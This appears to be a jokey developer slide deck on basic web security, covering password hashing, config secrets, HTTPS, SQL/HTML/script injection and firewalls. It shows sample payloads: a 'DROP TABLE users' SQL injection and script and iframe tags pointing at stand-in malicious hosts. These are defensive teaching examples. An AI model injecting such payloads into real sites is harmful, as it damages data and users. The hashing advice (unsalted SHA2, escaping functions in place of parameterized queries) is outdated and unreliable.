

Security for Developers

in which code monkeys become
l33t code monkeys

ENCRYPT DEM PASSWORDS

localhost johnsmith secretpassword21

- Every time you store a password in plaintext, a baby cries.
 - *True Fact.*
- Use **one-way encryption** (hashes) to store passwords that you don't need to know.
 - Can't be un-hashed
 - To authenticate, encrypt and compare.
 - MD5("123456") = e10adc3949ba59abbe56e057f20f883e
 - if (e10adc... == e10adc...) then authenticate!
- Use newest hash available.
 - MD5 :(SHA1 :/ SHA2 :)

- Every time you store a password in plaintext, a baby cries.
 - *True Fact.*
- Use **one-way encryption** (hashes) to store passwords that you don't need to know.
 - Can't be un-hashed without a cracking program
 - To auth the user, encrypt what they type and compare to the encrypted value in the DB.
 - MD5("123456") = e10adc3949ba59abbe56e057f20f883e
 - if (e10adc... == e10adc...) then authenticate!
- Use the newest, strongest hash algorithm available.
 - MD5 bad, SHA1 meh, SHA2 good.

WHERE U SAVIN DEM CONFIG PASSWORDS?

```
22 define('DB_PASSWORD', 'yourpasswordhere');  
23  
24 /** MySQL database password */  
25 define('DB_PASSWORD', 'yourpasswordhere');
```

- No passwords in source code!
 - Unless in a dedicated file
 - Plaintext in wwwroot = :(
- Source gets shared, security leaks
- Try ENV vars or files outside of source dir
 - If they're in your server, you're screwed anyway
 - Learn up on LINUX security (chmod, chroot, ps)

- Don't be putting passwords in source code!
 - Unless it's a dedicated file like environment.rb
 - Plaintext in your wwwroot **can be accessed remotely** if your script engine doesn't parse it (PHP dies, FTP, etc)
- Source sharing = security leaks (github, internal dev)
- Consider environment variables or config files outside of source directory
 - If they're in your server outside of wwwroot, you're screwed anyway
 - Learn up on LINUX security (chmod, chroot)

HOLY CRAP SSL

- Sensitive info without HTTPS? :(
- 301 redirect people to https:// right away, why not
- Transmitting via FTP, HTTP, SMTP? :(
- Use SSH, HTTPS, SMTP-TLS instead.
- Thanks for your passwords, users of a noob webservice!

```
d=start&do=login&u=wbradley&p=mysecretpassword
65 6e 74 6e57418. .Content
61 74 69 -Type: applicati
2d 75 72 on/x-www -Form-ur
74 65 6e lencoded . .Conten
0a 0d 0a t-Length : 87....
63 69 33 sctoK#3 88429c3
31 32 31 d682d850 e148f121
61 72 74 c73e9c0& id=start
62 72 61 &do=logi n&u=wbr a
65 74 70 dley&p=m ysecretp
         assword
```

- Can users view/submit sensitive info without HTTPS?
 - Hell just redirect people to https:// right away, why not
- Are you transmitting any data via FTP, HTTP, SMTP?
 - HOLY CRAP INSECURE!
 - Use SSH, HTTPS, and SMTP-TLS instead.
- Thanks for your passwords, users of a noob webservice!

INJECTION?!?

- Text parsing is The Devil.
 - Type "WHERE user="+input.user+" AND password="+input.pass
 - -- **YOU WILL EXPLODE** --
 - My username is %1%';**DROP TABLE users** --
 - **PRAY MORE**
- HTML INJECTION??!?!
 - Also pray nobody posts something like:
Hey everyone! <iframe src="http://sexyvirus.com" /> Cool huh??
- Aw man, Javascript injection?
 - Enjoy your:
That's what she <script src="http://virus.com/dead.js" /> said.
- FILTER DAT SHIZNIT!
 - Use purpose-build framework functions for fewer gray hairs.

- Text parsing is The Devil.
 - If you write "user="+input.user+" AND password="+input.pass
 - Pray that noone makes their username %1%';**DROP TABLE users** --
 - **USE FRAMEWORK FUNCTIONS**
- HTML INJECTION??!?!
 - Also pray nobody posts something like:
Hey everyone! <iframe
src="http://sexyvirus.com" /> Cool huh??
- Aw man, Javascript injection?
 - Enjoy your:
That's what she <script
src="http://virus.com/dead.js" /> said.
- FILTER IT OUT!
 - Use a purpose-build framework for fewer gray hairs.
 - mysql_escape_string, fstring, etc

FIREWALLS & UPDATES

- Open IP ports are open orifices. Keep your orifices hidden!
 - Hackers are scanning 24/7
 - **Shut down any ports you don't need**
- Keep your orifices clean! Update your software.
 - Can be attacked within days of a discovery

6

- Open IP ports are open orifices. Keep your orifices hidden!
 - Hackers are scanning 24/7
 - **Shut down any ports you don't need**
 - **Learn netstat, iptables**
- Keep your orifices free of infection! Update your software.
 - Exploited software can be attacked within days of a vulnerability being discovered
 - **Learn yum update, apt-get update**

THANKS

Slides @
willbradley.name